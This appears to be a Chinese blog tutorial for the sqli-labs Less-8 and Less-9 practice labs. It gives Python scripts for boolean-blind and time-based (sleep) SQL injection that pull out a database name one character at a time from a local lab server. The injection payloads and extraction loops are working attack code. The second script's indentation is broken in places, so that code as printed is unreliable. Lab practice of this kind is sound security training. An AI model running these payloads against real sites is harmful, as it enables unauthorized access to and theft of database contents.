sqli-labs8/9关,注入脚本编写

本文介绍了如何通过Python脚本实现对目标网站的SQL盲注和延时注入攻击,以探测和获取数据库信息,强调了在实际环境中防范此类攻击的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

准备环境:sqli-labs-master/Less-8/

引用"盲注"代码

import requests # 引用requests模块

import string   # 引用string模块

# 添加目标url地址

url= "http://192.168.182.157/sqli-labs-master/Less-8/index.php"

# 初始化变量和循环

i= 0

con = ''

while True:

    i+=1

    payload= f"?id=2' and length(database())={i} -- " # 通过增加payload中查询语句的长度

    full_url= url+ payload

    print(full_url)

    res= requests.get(url= full_url)

    if "You are in..........." in res.text: # 如果返回结果中包含指定字符串you are in

        con_len= i                          # 就代表注入成功,可以确定数据库名的长度为con_len

        print(f"[*] The length is {con_len}")

        break

c_set= string.printable.strip()

for i in range(con_len):

    for c in c_set:

        payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "

        # print(payload)

        full_url= url+ payload

        # print(full_url)

        res = requests.get(url= full_url)

        if "You are in..........." in res.text:

            con += c

            print(f"[*] The content: {con}")

# 通过循环遍历数据库名的每个字符位置,再通过循环遍历可打印字符集c_set中的每个字符构造payload。在payload中使用substr(database(),{i+1},1)可以获取数据库名的第i+1个字符,通过ascii()函数将其转换为ASCII码值,并与ord(c)进行对比。如果注入成功,则将该字符添加到con中,最终得到完整的数据库名。

准备环境:/sqli-labs-master/Less-9/

引用"延时注入"代码

import string # 引用处理字符串的模块string

import requests # 引用发送http请求的模块requests

# 设置URL变量,指定目标网站

url= "http://192.168.182.157/sqli-labs-master/Less-9/index.php"

# 初始化con_len变量,用于记录获得内容的长度

con_len= 0

con= "" # 初始化con变量,用于保存最终获取到的内容

# 定义get_timeout的函数,用于发送HTTP请求并返回响应内容。

def get_timeout(url):

try: # 尝试执行下面的代码

        res = requests.get(url= url, timeout= 3) # 发送GET请求到指定的URL,并设置超时时间为3秒。

except: # 捕获异常,如果发生异常就执行以下代码块

return "timeout" # 返回字符串"timeout",表示请求超时

else: # 如果没有发生异常,则执行以下代码块

return res.text  # 返回响应内容的文本形式

# 进入一个无限循环

while True:

    con_len+= 1 # 将con_len变量加1,表示要探测的内容长度增加

# 构造一个SQL注入的payload,通过判断数据库名称的长度来探测内容长度

    payload= f"?id=1' and if(length(database())={con_len},sleep(5),1) -- yyds"

# 将payload添加到原始URL后面,形成完整的请求URL。

    full_url= url+ payload

print(full_url) # 将payload添加到原始URL后面,形成完整的请求URL。

# 调用get_timeout函数发送请求,并判断响应内容中是否包含"timeout"字符串。

if "timeout" in get_timeout(full_url):

# 如果响应超时,则打印出当前探测到的内容的长度。

print(f"[*] The length of content: {con_len}")

break # 跳出循环,结束探测过程。

# 初始化c_set变量,保存了所有可打印字符的集合。

c_set= string.printable.strip()

# 对于每一个已知内容的位置,进行下面的操作。

for i in range(con_len):

for c in c_set: # 对于c_set中的每个字符,进行下面的操作

# 构造一个SQL注入的payload,通过ASCII码比较逐位获取数据库名

        payload= f"?id=1' and if(ascii(substr((select database()),{i+ 1},1))={ord(c)},sleep(5),1) -- yyds"

# 将payload添加到原始URL后面,形成完整的请求URL。

        full_url= url+ payload

# 调用get_timeout函数发送请求,并判断响应内容中是否包含"timeout"字符串

if "timeout" in get_timeout(full_url):

            con+= c # 如果响应超时,则将当前字符c添加到已知内容con中。

print(f"[*] The content: {con}") # 打印出当前已知的内容  

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值